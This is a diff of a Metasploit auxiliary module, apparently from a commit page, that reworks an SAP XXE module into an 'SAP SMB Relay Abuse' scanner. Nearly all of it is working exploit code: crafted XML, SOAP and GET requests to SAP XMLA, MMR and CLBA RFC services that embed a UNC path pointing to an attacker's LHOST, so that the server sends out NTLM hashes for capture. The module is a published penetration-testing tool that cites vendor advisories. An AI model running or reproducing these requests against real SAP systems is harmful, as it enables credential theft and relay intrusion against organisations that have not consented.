25
25
require 'msf/core'
26
26
27
27
class Metasploit4 < Msf ::Auxiliary
28
+
28
29
include Msf ::Exploit ::Remote ::HttpClient
29
30
include Msf ::Auxiliary ::Report
30
31
include Msf ::Auxiliary ::Scanner
31
32
32
33
def initialize
33
34
super (
34
- 'Name' => 'SAP /sap/bw/xml/soap/xmla XMLA service (XML DOCTYPE) SMB relay ' ,
35
+ 'Name' => 'SAP SMB Relay Abuse ' ,
35
36
'Description' => %q{
36
- This module exploits the SAP NetWeaver BW XML External Entity vulnerability.
37
- An XML External Entities (XXE) issue exists within the XMLA service (XML DOCTYPE) function.
38
- The XXE vulnerability in SAP BW can lead to arbitary file reading or an SMBRelay attack.
39
- SAP Note 1597066 / DSECRG-12-033.
40
- } ,
41
- 'References' => [ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/' ] ] ,
42
- 'Author' => [ 'nmonkee' ] ,
37
+ This module exploits provides several SMB Relay abuse through different SAP
38
+ services and functions. The attack is done through specially crafted requests
39
+ including a UNC Path which will be accessing by the SAP system while trying to
40
+ process the request. In order to get the hashes the auxiliary/server/capture/smb
41
+ module can be used.
42
+ } ,
43
+ 'References' => [
44
+ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/' ] ,
45
+ [ 'URL' , 'https://service.sap.com/sap/support/notes/1597066' ]
46
+ ] ,
47
+ 'Author' =>
48
+ [
49
+ 'Alexey Tyurin' , # xmla service SMB relay abuse discovery
50
+ 'nmonkee' # Metasploit module
51
+ ] ,
43
52
'License' => MSF_LICENSE
44
- )
53
+ )
45
54
46
55
register_options ( [
47
- OptString . new ( 'CLIENT' , [ true , 'SAP client' , nil ] ) ,
48
- OptString . new ( 'USER' , [ true , 'Username' , nil ] ) ,
49
- OptString . new ( 'PASS' , [ true , 'Password' , nil ] ) ,
50
- OptString . new ( 'PATH' , [ true , 'File path (e.g. \\xx.xx.xx.xx\share)' , nil ] )
51
- ] , self . class )
56
+ Opt ::RPORT ( 8000 ) ,
57
+ OptString . new ( 'CLIENT' , [ true , 'SAP client' , '001' ] ) ,
58
+ OptString . new ( 'USERNAME' , [ false , 'Username (Ex SAP*)' ] ) ,
59
+ OptString . new ( 'PASSWORD' , [ false , 'Password (Ex 06071992)' ] ) ,
60
+ OptAddress . new ( 'LHOST' , [ true , 'Server IP or hostname of the SMB Capture system' ] ) ,
61
+ OptEnum . new ( 'ABUSE' , [ true , 'SMB Relay abuse to use' , "MMR" ,
62
+ [
63
+ "MMR" ,
64
+ "BW" ,
65
+ "CLBA_CLASSIF_FILE_REMOTE_HOST" ,
66
+ "CLBA_UPDATE_FILE_REMOTE_HOST"
67
+ ]
68
+ ] ) ,
69
+ ] , self . class )
70
+
52
71
end
53
72
54
- def run_host ( ip )
73
+ def valid_credentials?
74
+ if datastore [ 'USERNAME' ] . nil? or datastore [ 'USERNAME' ] . empty?
75
+ return false
76
+ end
77
+
78
+ if datastore [ 'PASSWORD' ] . nil? or datastore [ 'PASSWORD' ] . empty?
79
+ return false
80
+ end
81
+ return true
82
+ end
83
+
84
+ def run_xmla
85
+
86
+ if not valid_credentials?
87
+ vprint_error ( "#{ rhost } :#{ rport } - Credentials needed in order to abuse the SAP BW service" )
88
+ return
89
+ end
90
+
91
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
55
92
data = '<?xml version="1.0" encoding="utf-8" ?>'
56
- data = '<!DOCTYPE root ['
57
- data << '<!ENTITY foo SYSTEM "' + datastore [ 'PATH' ] + '">'
93
+ data << '<!DOCTYPE root ['
94
+ data << '<!ENTITY foo SYSTEM "' + smb_uri + '">'
58
95
data << ']>'
59
96
data << '<in>&foo;</in>'
60
- user_pass = Rex :: Text . encode_base64 ( datastore [ 'USER' ] + ":" + datastore [ 'PASS' ] )
97
+
61
98
begin
62
- print_status ( "[SAP] #{ ip } :#{ rport } - sending request for #{ datastore [ 'PATH' ] } " )
99
+ print_status ( "#{ rhost } :#{ rport } - Sending request for #{ smb_uri } " )
63
100
res = send_request_raw ( {
64
101
'uri' => '/sap/bw/xml/soap/xmla?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
65
102
'method' => 'POST' ,
103
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
66
104
'data' => data ,
67
- 'headers' => {
68
- 'Content-Length' => data . size . to_s ,
69
- 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
70
- 'Authorization' => 'Basic ' + user_pass ,
71
- 'Content-Type' => 'text/xml; charset=UTF-8' , }
72
- } , 45 )
105
+ 'ctype' => 'text/xml; charset=UTF-8' ,
106
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ]
107
+ } )
108
+ if res and res . code == 200 and res . body =~ /XML for Analysis Provider/ and res . body =~ /Request transfered is not a valid XML/
109
+ print_good ( "#{ rhost } :#{ rport } - SMB Relay looks successful, check your SMB capture machine" )
110
+ else
111
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
112
+ end
113
+ rescue ::Rex ::ConnectionError
114
+ print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
115
+ return
116
+ end
117
+ end
118
+
119
+ def run_mmr
120
+ begin
121
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
122
+
123
+ if datastore [ 'USERNAME' ] . empty?
124
+ vprint_status ( "#{ rhost } :#{ rport } - Sending unauthenticated request for #{ smb_uri } " )
125
+ res = send_request_cgi ( {
126
+ 'uri' => '/mmr/MMR' ,
127
+ 'method' => 'GET' ,
128
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
129
+ 'ctype' => 'text/xml; charset=UTF-8' ,
130
+ 'vars_get' => {
131
+ 'sap-client' => datastore [ 'CLIENT' ] ,
132
+ 'sap-language' => 'EN' ,
133
+ 'filename' => smb_uri
134
+ }
135
+ } )
136
+
137
+ else
138
+ vprint_status ( "#{ rhost } :#{ rport } - Sending unauthenticated request for #{ smb_uri } " )
139
+ res = send_request_cgi ( {
140
+ 'uri' => '/mmr/MMR' ,
141
+ 'method' => 'GET' ,
142
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
143
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
144
+ 'ctype' => 'text/xml; charset=UTF-8' ,
145
+ 'vars_get' => {
146
+ 'sap-client' => datastore [ 'CLIENT' ] ,
147
+ 'sap-language' => 'EN' ,
148
+ 'filename' => smb_uri
149
+ }
150
+ } )
151
+ end
152
+
73
153
if res
74
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error code: " + res . code . to_s )
75
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error title: " + res . message . to_s )
76
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error message: " + res . body . to_s )
154
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
77
155
end
78
- rescue ::Rex ::ConnectionError
79
- print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
80
- return
156
+ rescue ::Rex ::ConnectionError
157
+ print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
158
+ return
159
+ end
160
+ end
161
+
162
+ def send_soap_rfc_request ( data , smb_uri )
163
+ if not valid_credentials?
164
+ vprint_error ( "#{ rhost } :#{ rport } - Credentials needed in order to abuse the SAP SOAP RFC service" )
165
+ return
166
+ end
167
+
168
+ begin
169
+ vprint_status ( "#{ rhost } :#{ rport } - Sending request for #{ smb_uri } " )
170
+ res = send_request_cgi ( {
171
+ 'uri' => '/sap/bc/soap/rfc' ,
172
+ 'method' => 'POST' ,
173
+ 'data' => data ,
174
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
175
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
176
+ 'ctype' => 'text/xml; charset=UTF-8' ,
177
+ 'headers' => {
178
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
179
+ } ,
180
+ 'vars_get' => {
181
+ 'sap-client' => datastore [ 'CLIENT' ] ,
182
+ 'sap-language' => 'EN'
183
+ }
184
+ } )
185
+ if res
186
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
81
187
end
188
+ rescue ::Rex ::ConnectionError
189
+ print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
190
+ return
191
+ end
192
+ end
193
+
194
+ def run_clba_classif_file_remote
195
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
196
+
197
+ data = '<?xml version="1.0" encoding="utf-8" ?>'
198
+ data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
199
+ data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
200
+ data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
201
+ data << '<SOAP-ENV:Header/>'
202
+ data << '<SOAP-ENV:Body>'
203
+ data << '<n1:CLBA_CLASSIF_FILE_REMOTE_HOST xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
204
+ data << '<CLASSIF_FILE>'
205
+ data << '<item>'
206
+ data << '<ZEILE>a</ZEILE>'
207
+ data << '</item>'
208
+ data << '</CLASSIF_FILE>'
209
+ data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
210
+ data << '</n1:CLBA_CLASSIF_FILE_REMOTE_HOST>'
211
+ data << '</SOAP-ENV:Body>'
212
+ data << '</SOAP-ENV:Envelope>'
213
+ send_soap_rfc_request ( data , smb_uri )
214
+ end
215
+
216
+ def run_clba_update_file_remote
217
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
218
+
219
+ data = '<?xml version="1.0" encoding="utf-8" ?>'
220
+ data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
221
+ data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
222
+ data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
223
+ data << '<SOAP-ENV:Header/>'
224
+ data << '<SOAP-ENV:Body>'
225
+ data << '<n1:CLBA_UPDATE_FILE_REMOTE_HOST xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
226
+ data << '<DATA_TAB>'
227
+ data << '<item>'
228
+ data << '<TABNAME>a</TABNAME>'
229
+ data << '<NUMBER>0</NUMBER>'
230
+ data << '<TEXT>a</TEXT>'
231
+ data << '<COLOR>a</COLOR>'
232
+ data << '<DATA>a</DATA>'
233
+ data << '</item>'
234
+ data << '</DATA_TAB>'
235
+ data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
236
+ data << '</n1:CLBA_UPDATE_FILE_REMOTE_HOST>'
237
+ data << '</SOAP-ENV:Body>'
238
+ data << '</SOAP-ENV:Envelope>'
239
+ send_soap_rfc_request ( data , smb_uri )
240
+ end
241
+
242
+ def run_host ( ip )
243
+ case datastore [ 'ABUSE' ]
244
+ when "MMR"
245
+ run_mmr
246
+ when "BW"
247
+ run_xmla
248
+ when "CLBA_CLASSIF_FILE_REMOTE_HOST"
249
+ run_clba_classif_file_remote
250
+ when "CLBA_UPDATE_FILE_REMOTE_HOST"
251
+ run_clba_update_file_remote
82
252
end
83
253
end
254
+
255
+ end
0 commit comments